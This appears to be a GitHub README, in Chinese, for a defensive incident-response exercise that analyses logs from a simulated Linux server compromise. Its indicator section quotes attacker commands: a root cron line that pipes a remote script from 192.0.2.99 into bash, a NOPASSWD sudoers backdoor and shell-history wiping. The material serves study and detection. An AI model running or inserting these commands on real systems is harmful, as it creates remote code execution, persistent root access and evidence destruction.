MechanicusSec/Linux-Security-Log-Incident-Response

GitHub: MechanicusSec/Linux-Security-Log-Incident-Response

一个防御性 Linux 安全日志应急响应实战项目,通过分析 SSH 入侵、提权、持久化及疑似数据泄露的完整攻击链,帮助安全从业者掌握日志审查与事件调查技能。

Stars: 0 | Forks: 0

# Linux 安全日志应急响应 ## 概述 本项目是一项实用的 Linux 安全日志调查,重点在于检测、分析和记录完整的服务器入侵过程。 本次调查使用了一台名为 `webserver01` 的 Linux Web 服务器提供的身份验证、sudo、用户管理、cron、审计和防火墙日志。 本项目遵循应急响应工作流: ``` Detect → Investigate → Correlate → Classify → Contain → Eradicate → Recover → Document ``` ## 项目目标 本项目的目标是: - 学习如何阅读 Linux 安全日志 - 区分正常的管理员活动与可疑行为 - 识别 SSH 凭据攻击 - 确认账户被入侵 - 追踪到 root 的权限提升 - 识别账户和 cron 持久化 - 分析外部网络活动 - 评估可能的数据泄露 - 识别反取证活动 - 构建事件时间线 - 创建检测逻辑 - 对事件严重性进行分类 - 建议遏制、根除和恢复措施 - 生成专业的最终应急响应报告 ## 场景 一台 Linux Web 服务器遭到了反复的 SSH 密码尝试攻击。 攻击者: 1. 从单一源 IP 测试了多个用户名 2. 入侵了合法的 `backup` 账户 3. 通过 `sudo` 将权限提升至 root 4. 创建了一个名为 `sysupdate` 的新特权用户 5. 授予该新账户无限制的免密 sudo 权限 6. 添加了一个 root cron 任务,不断下载并执行远程脚本 7. 创建了一个包含 Web 和 Nginx 数据的隐藏归档文件 8. 与外部目的地址进行了通信 9. 清除了 shell 历史记录 10. 随后利用持久化账户再次返回 ## 总体事件分类 ``` Severity: Critical Confidence: High Incident Type: Linux Server Compromise ``` ## 关键发现 ### 初始访问 日志显示出现了多次来自以下地址的 SSH 密码失败: ``` 198.51.100.23 ``` 攻击者测试了多个用户名,随后将目标锁定在合法账户上: ``` backup ``` 在多次失败之后,紧接着发生了一次成功的密码登录。 ### 权限提升 被入侵的 `backup` 账户使用 `sudo` 启动了: ``` /bin/bash ``` 日志确认已开启了一个 root 会话。 ### 持久化 攻击者创建了: ``` sysupdate ``` 该账户被赋予了: - 一个密码 - 一个交互式 shell - `sudo` 组成员资格 - 无限制的 `NOPASSWD:ALL` sudo 访问权限 攻击者还在 root 的 crontab 中添加了: ``` */10 * * * * curl -s http://192.0.2.99/update.sh | bash ``` ### 数据暂存 攻击者创建了: ``` /tmp/.cache_bkp.tar.gz ``` 其中包含: ``` /var/www/html /etc/nginx ``` ### 网络活动 被入侵的服务器与以下地址进行了通信: ``` 192.0.2.99 ``` 在归档文件创建后不久,便出现了包含 payload 的出站流量。 证据支持: ``` Possible data exfiltration ``` 归档文件传输本身并未得到直接证实。 ### 反取证 攻击者清除了: ``` /home/backup/.bash_history ``` 并执行了: ``` history -c ``` ### 持久化利用 攻击者随后使用以下方式成功通过了身份验证: ``` sysupdate ``` 该请求源自最初的可疑源 IP。 ## 事件链 ``` SSH credential attack → backup account compromise → root privilege escalation → sysupdate account persistence → passwordless sudo → malicious root cron execution → sensitive data staging → possible exfiltration → anti-forensics → persistence account reuse ``` ## 项目结构 ``` Linux-Security-Log-Incident-Response/ ├── analysis/ │ ├── log-overview.md │ ├── authentication-analysis.md │ ├── privilege-escalation-analysis.md │ ├── persistence-analysis.md │ ├── network-and-exfiltration-analysis.md │ ├── incident-timeline.md │ ├── detection-logic.md │ ├── incident-classification.md │ └── response-recommendations.md ├── logs/ │ ├── authentication.log │ └── system-and-network.log ├── report/ │ └── final-incident-response-report.md ├── screenshots/ ├── sources/ │ └── source-register.md ├── logbook.md └── README.md ``` ## 分析文件 ### `analysis/log-overview.md` 解释了 Linux 日志行的结构,并将正常活动与可疑的身份验证事件进行了对比。 ### `analysis/authentication-analysis.md` 记录了 SSH 凭据攻击、`backup` 账户的入侵,以及后来对 `sysupdate` 的使用。 ### `analysis/privilege-escalation-analysis.md` 记录了 sudo 权限的发现以及已确认的 root shell。 ### `analysis/persistence-analysis.md` 记录了 `sysupdate` 账户、免密 sudo、root cron 持久化,以及随后对攻击者创建的账户的再次利用。 ### `analysis/network-and-exfiltration-analysis.md` 记录了出站通信、隐藏归档文件的创建,以及对可能的数据泄露的评估。 ### `analysis/incident-timeline.md` 按时间顺序展示了主要事件。 ### `analysis/detection-logic.md` 包含十二项建议的检测项,涵盖: - SSH 失败 - 从失败到成功的身份验证 - Root shell 创建 - 特权账户创建 - Sudo 策略修改 - 恶意 cron 活动 - 敏感归档文件创建 - 出站通信 - 可能的数据泄露 - Shell 历史记录清除 - 持久化利用 ### `analysis/incident-classification.md` 为主要事件分配严重性级别,并将总体事件归类为严重。 ### `analysis/response-recommendations.md` 提供遏制、根除、恢复、验证和长期预防的建议。 ## 最终报告 已完成的最终报告位于: ``` report/final-incident-response-report.md ``` 该报告包括: - 执行摘要 - 范围 - 已审查证据 - 事件分类 - 受影响资产 - 时间线 - 技术发现 - 入侵指标 - 影响评估 - 检测机会 - 响应建议 - 证据局限性 - 最终结论 ## 入侵指标 ### IP 地址 ``` 198.51.100.23 192.0.2.99 ``` ### 账户 ``` backup sysupdate ``` ### 文件和 URL ``` /tmp/.cache_bkp.tar.gz http://192.0.2.99/update.sh ``` ### 可疑命令 ``` sudo /bin/bash usermod -aG sudo sysupdate echo 'sysupdate ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers curl -s http://192.0.2.99/update.sh | bash echo > /home/backup/.bash_history history -c ``` ## 展示技能 本项目展示了对以下方面的实际知识: - Linux 日志分析 - SSH 身份验证审查 - 暴力破解和凭据攻击检测 - 权限提升分析 - Linux 账户和组审计 - Sudo 策略审查 - Cron 持久化检测 - 审计日志解读 - 防火墙日志解读 - TCP flag 分析 - 数据暂存分析 - 数据泄露评估 - 反取证检测 - 事件时间线创建 - 严重性分类 - 检测工程 - 事件遏制 - 根除计划 - 恢复计划 - 技术报告撰写 ## 证据局限性 提供的日志在 cron 创建和某些 cron 执行事件之间存在时间戳不一致的情况。 本项目保留了这一局限性,而不是静默地更正它。 日志也没有直接证明隐藏的归档文件被传输过。 因此: ``` Data staging: Confirmed Archive exfiltration: Suspected ``` 这些证据似乎是受控的培训材料,而不是实际的生产数据。 ## 道德和法律范围 本项目是一项防御性日志分析练习。 未执行任何主动攻击、扫描或利用操作。 本工作仅限于: - 审查提供的日志 - 重构事件 - 创建防御性检测 - 建议应急响应行动 - 记录发现 ## 项目状态 | 组件 | 状态 | |---|---| | 添加原始日志 | 已完成 | | 日志概述 | 已完成 | | 身份验证分析 | 已完成 | | 权限提升分析 | 已完成 | | 持久化分析 | 已完成 | | 网络和泄露分析 | 已完成 | | 事件时间线 | 已完成 | | 检测逻辑 | 已完成 | | 事件分类 | 已完成 | | 响应建议 | 已完成 | | 来源登记表 | 已完成 | | 最终报告 | 已完成 | | 日志簿 | 待定 | | PDF 导出 | 待定 | | GitHub commit 和 push | 待定 | ## 作者 ``` Vulkan ``` ## 代码库 ``` Linux-Security-Log-Incident-Response ```
标签:内存分配, 取证, 安全运营, 库, 应急响应, 扫描框架, 防御加固